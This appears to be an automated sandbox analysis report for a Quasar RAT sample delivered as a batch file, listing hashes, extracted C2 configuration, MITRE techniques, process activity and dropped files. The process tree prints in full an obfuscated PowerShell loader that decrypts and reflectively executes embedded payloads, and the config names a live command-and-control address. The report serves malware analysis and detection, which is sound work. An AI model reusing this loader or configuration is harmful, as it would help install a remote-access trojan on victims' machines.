quasar | 79173bee83878cae44d9fc21fa85590711a92edc2d43caafb1350eb2800e72d7

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2024 05:16

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General

Target

Client-built.bat
Size

1.6MB
MD5

a7aa482ba1ee0ea8d147d628d5a65f05
SHA1

91e3a640c294a36697d9759a29072fdb4ab62346
SHA256

79173bee83878cae44d9fc21fa85590711a92edc2d43caafb1350eb2800e72d7
SHA512

a27dae71d85910609682cc324d4c4cf5c2e772f0a57209d2fbdc3e345538487d1262148b01b16df8cfb52c3c2a72ae04eb381f7dcf33d77c01d532d421e93a32
SSDEEP

24576:tkjkTu1rkvOjvCsDjTprQ50JDzRj2umzby88rBFjB9a/In5PJBmpR4JRej08SG84:t859kWf+gEJe8yBBl+pIVX4

Score

10^/10

quasar office04 discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

85.209.133.15:111

Mutex

4427abb1-66d5-405b-a340-061f8386d8c1

Attributes

encryption_key
A0083941CFC8C27C9F733BBA0ECD4E4B76BD61E8
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3780-15-0x0000026B338F0000-0x0000026B33C14000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	3780	powershell.exe
15	3780	powershell.exe
17	3780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3780	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
3008	msedge.exe
3008	msedge.exe
4044	msedge.exe
4044	msedge.exe
3004	identity_helper.exe
3004	identity_helper.exe
5816	msedge.exe
5816	msedge.exe
5816	msedge.exe
5816	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	powershell.exe

Suspicious use of FindShellTrayWindow 28 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe
4044	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 3780	4376	cmd.exe	83
PID 4376 wrote to memory of 3780	4376	cmd.exe	83
PID 4044 wrote to memory of 4244	4044	msedge.exe	94
PID 4044 wrote to memory of 4244	4044	msedge.exe	94
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 1748	4044	msedge.exe	95
PID 4044 wrote to memory of 3008	4044	msedge.exe	96
PID 4044 wrote to memory of 3008	4044	msedge.exe	96
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97
PID 4044 wrote to memory of 4108	4044	msedge.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p6NsuP0HTePf1oSATs8T+qB1p4ZrLbvAIaEmbH1pdsE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Kxx6XOKog+oT5+kzMuvMwA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HWbzm=New-Object System.IO.MemoryStream(,$param_var); $PCqqJ=New-Object System.IO.MemoryStream; $ePDKE=New-Object System.IO.Compression.GZipStream($HWbzm, [IO.Compression.CompressionMode]::Decompress); $ePDKE.CopyTo($PCqqJ); $ePDKE.Dispose(); $HWbzm.Dispose(); $PCqqJ.Dispose(); $PCqqJ.ToArray();}function execute_function($param_var,$param2_var){ $GchUI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZfPjM=$GchUI.EntryPoint; $ZfPjM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$QJrfq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($aydBO in $QJrfq) { if ($aydBO.StartsWith(':: ')) { $CdaqF=$aydBO.Substring(3); break; }}$payloads_var=[string[]]$CdaqF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3780

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffb8bbc46f8,0x7ffb8bbc4708,0x7ffb8bbc4718
  2⤵
  PID:4244
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2132 /prefetch:2
  2⤵
  PID:1748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
  2⤵
  PID:4108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3420 /prefetch:1
  2⤵
  PID:3704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
  2⤵
  PID:4908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5112 /prefetch:1
  2⤵
  PID:3232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
  2⤵
  PID:4684
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5500 /prefetch:8
  2⤵
  PID:1372
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5500 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1
  2⤵
  PID:472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5236 /prefetch:1
  2⤵
  PID:760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5296 /prefetch:1
  2⤵
  PID:5072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:1
  2⤵
  PID:3776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5988 /prefetch:1
  2⤵
  PID:3584
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
  2⤵
  PID:4324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5584 /prefetch:1
  2⤵
  PID:472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6060 /prefetch:1
  2⤵
  PID:5364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
  2⤵
  PID:5372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1
  2⤵
  PID:5472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,5792650056630367390,5472834348001622255,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=6016 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5816

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3584

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
36988ca14952e1848e81a959880ea217

SHA1
a0482ef725657760502c2d1a5abe0bb37aebaadb

SHA256
d7e96088b37cec1bde202ae8ec2d2f3c3aafc368b6ebd91b3e2985846facf2e6

SHA512
d04b2f5afec92eb3d9f9cdc148a3eddd1b615e0dfb270566a7969576f50881d1f8572bccb8b9fd7993724bdfe36fc7633a33381d43e0b96c4e9bbd53fc010173

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
fab8d8d865e33fe195732aa7dcb91c30

SHA1
2637e832f38acc70af3e511f5eba80fbd7461f2c

SHA256
1b034ffe38e534e2b7a21be7c1f207ff84a1d5f3893207d0b4bb1a509b4185ea

SHA512
39a3d43ef7e28fea2cb247a5d09576a4904a43680db8c32139f22a03d80f6ede98708a2452f3f82232b868501340f79c0b3f810f597bcaf5267c3ccfb1704b43

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
b6b32513c883785bd564830a61e09743

SHA1
979cbd4d2f44d4b79ba9911df214fdef2e2a1b71

SHA256
29d0d598950d0046dd0523a5626091029fbab11f4cbb24f7ca21f0706727c8b6

SHA512
1af5f3b37d79eca3c1e9788c059fc74b8d7a62c7f1133d93041a8c08c61912702a9c7a34419338f1bab2a82c7f9594a065552a3d44cfc4e6808374ac6dcb3cb1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
1KB

MD5
03d5b7a9789cec7a10bce2393cdce68d

SHA1
4e8937f83c57a89daad580d375c62d5786206183

SHA256
b78f4a22939ac04469440ce834c36f31f8c120cb7356fe4608a16ffa351b3070

SHA512
4e3c5933ba981579b657a1134d212bf0dde832fa11700dadc164a9aa5c800eab153558af75549ada1d4bef5069310d606403bc576727c5b0aa0e8d57d8a60332

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
30f2cc1b60d5a36413fcd0eabc9dfa97

SHA1
9830ff2cf5d30b75a5913e490f90ddebf6519761

SHA256
4378bda31124f7d0011a6d25f764c1cca4a45a469a63a369778e2ec570f21e7f

SHA512
d6e4b6fa6957d22cb743ee3ec372890f3e9c1034eb910c05fe8202c9bec0449730d007b6cb7d42df68880d33ec64f856df638cc41417ab77c8c83020cbab1829

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
3b867683b2fcca87ed6e160e312b7c9c

SHA1
d1a182db06af472a489ce59cf8ddc0f7459bc747

SHA256
fa551d4722983bc30db4a00d93f281697e8e7cf2977efc8cc70ca2bda09ac311

SHA512
27bef4fac5d6addfe639f4d1394d2efa6090fcc009f030d1227aef79d759367c58bb0db34d07dc0a276a88856a0fa4589822801e432e6ef6cfe400077cc595d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
0eb5e4af5fd9e8329686f2ad667a970b

SHA1
797dec80dbcd5d772bfad1a335751c11bd4b5d75

SHA256
bd0b65c9de7b9b25a7a587ec3cb3261a0f5b495ffbbf8be1399f1f9ad2782118

SHA512
319fb809d09c7207f37cddc8f007f6e69ac5034aa6e039d19cb724a4ea17414b439ac615b30390398f12208293d47b2f8041f156a22238a5fc404fc67a181336

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
96B

MD5
aeb592879c98b20ccdb74c9f6eb996b4

SHA1
0fae1b2588239798aefe4b2cf1c1ff479b451831

SHA256
a525ba8992f8cd30270c9f9302f8a1154f7c193dab6341c1b6a777816d617c4d

SHA512
d58df22c65d5c0e566a5044712d2af967926f92188e77b610021121b2b69cc2de45fe79cc4c9fb3eac906ef8e7ae6178693ef990751a209c7d8e73683ed24126

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe588d28.TMP

Filesize
48B

MD5
1ce7652565ba37533227ac332f510165

SHA1
daaa9605023551a9cb6ec71a2ca84dcf568b0aab

SHA256
bca9549ecb38f62ef29117ea4c482f6be85c87315b69355cfad710ce87a29443

SHA512
1a5f3cabccf0719db6b59c5853f092cf9952aa8a4a052a90c6b31e84b6458df421e8d1f6bc79db73b6edf8b74e5ebd2d92d5c091e6f84ac2a61efdd9d4364855

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
6bb870fdabcf6c36ed8271c8ac206bb4

SHA1
85ce7e701c0ef6767afcdeb35da8da34d36814fd

SHA256
3b93d0d904e51dc5ef0a26e0d527368595b06be86c894aba9bc8fd27d67195da

SHA512
dde4edf09b043f738eab54abb36465953aeb9461f4de41aa7969347916d6ea6b1516faf801a9b604fae62263898fff3e8ec27ec75f217c7f427dade224346293

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q0auqpv1.hwt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3780-16-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3780-18-0x0000026B34620000-0x0000026B346D2000-memory.dmp

Filesize
712KB

Download
memory/3780-26-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3780-27-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3780-28-0x00007FFB99D10000-0x00007FFB9A7D1000-memory.dmp

Filesize
10.8MB

Download
memory/3780-24-0x00007FFB99D13000-0x00007FFB99D15000-memory.dmp

Filesize
8KB

Download
